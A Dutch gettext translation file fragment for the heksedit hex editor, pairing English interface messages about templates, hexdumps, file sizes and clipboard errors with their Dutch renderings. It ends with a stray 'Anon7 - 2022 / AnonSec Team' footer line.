#: heksedit.rc:1321
#, c-format
msgid "Choose template file"
msgstr "Kies sjabloonbestand"

#: heksedit.rc:1322
#, c-format
msgid "Could not open template file %s."
msgstr "Kon sjabloonbestand %s niet openen."

#: heksedit.rc:1323
#, c-format
msgid "Could not load template from file %s."
msgstr "Kon sjabloon niet laden van bestand %s."

#: heksedit.rc:1329
#, c-format
msgid "Select an item to move."
msgstr "Selecteer een item om te verplaatsen."

#: heksedit.rc:1333
#, c-format
msgid "No data to insert"
msgstr "Geen data om in te voegen"

#: heksedit.rc:1334
#, c-format
msgid "TYMED_ISTORAGE is not supported for drag-drop."
msgstr "TYMED_ISTORAGE is niet ondersteund voor slepen-neerzetten."

#: heksedit.rc:1340
#, c-format
msgid "Float size value:\n%g\n"
msgstr ""
"Float-grootte waarde:\n"
"%g\n"

#: heksedit.rc:1341
#, c-format
msgid "Not enough space for float size value.\n"
msgstr "Niet genoeg ruimte voor float-grootte waarde.\n"

#: heksedit.rc:1342
#, c-format
msgid "\nDouble size value:\n%g\n"
msgstr ""
"\n"
"Dubbele grootte waarde:\n"
"%g\n"

#: heksedit.rc:1343
#, c-format
msgid ""
"\n"
"Not enough space for double size value.\n"
msgstr ""
"\n"
"Niet genoeg ruimte voor dubbele grootte waarde.\n"

#: heksedit.rc:1344
#, c-format
msgid "File name and path: "
msgstr "Bestandsnaam en pad:"

#: heksedit.rc:1345
#, c-format
msgid "\nPartially opened at offset 0x%zx = %zd.\nNumber of bytes read: %zd = %zd kilobytes.\n"
msgstr ""
"\n"
"Gedeeltelijk geopend bij offset 0x%zx = %zd.\n"
"Aantal gelezen bytes: %zd = %zd kilobytes.\n"

#: heksedit.rc:1346
#, c-format
msgid "\nFile size: %zu bytes = %zu kilobytes.\n"
msgstr ""
"\n"
"Bestandsgrootte: %zu bytes = %zu kilobytes.\n"

#: heksedit.rc:1347
#, c-format
msgid "\nNumber of hexdump lines: %zu.\n"
msgstr ""

#: heksedit.rc:1348
#, c-format
msgid "This file could not be accessed and will be removed from the MRU list."
msgstr "Er kon geen toegang tot dit bestand gekregen worden. Het zal verwijderd worden uit de MRU-lijst."

#: heksedit.rc:1349
#, c-format
msgid "Really reset colors to default values?"
msgstr "Kleuren echt herstellen naar standaardwaarden?"

#: heksedit.rc:1350
#, c-format
msgid "Are you sure you want to delete this file?"
msgstr "Bent u zeker dat u dit bestand wil wissen?"

#: heksedit.rc:1351
#, c-format
msgid "Could not delete file."
msgstr "Kon bestand niet wissen."

#: heksedit.rc:1352
#, c-format
msgid "Really adopt the operating system colour scheme?"
msgstr "Kleurenschema van besturingssysteem echt overnemen?"

#: heksedit.rc:1358
#, c-format
msgid "Do you want to save your changes?"
msgstr "Wilt u uw wijzigingen opslaan?"

#: heksedit.rc:1364
#, c-format
msgid "Hexdump saved."
msgstr "Hexdump opgeslagen."

#: heksedit.rc:1365
#, c-format
msgid "Could not save Hexdump."
msgstr "Kon Hexdump niet opslaan"

#: heksedit.rc:1366
#, c-format
msgid "Not enough memory for copying hexdump to clipboard."
msgstr "Niet genoeg geheugen om hexdump naar klembord te kopiEen."

#: heksedit.rc:1367
#, c-format
msgid "Could not copy hexdump to clipboard."
msgstr "Kon hexdump niet naar klembord kopiEen."

#: heksedit.rc:1368
#, c-format
msgid "Hex Dump files(*.txt,*.hex)|*.txt;*.hex|All Files (*.*)|*.*|"
msgstr ""


Anon7 - 2022
AnonSec Team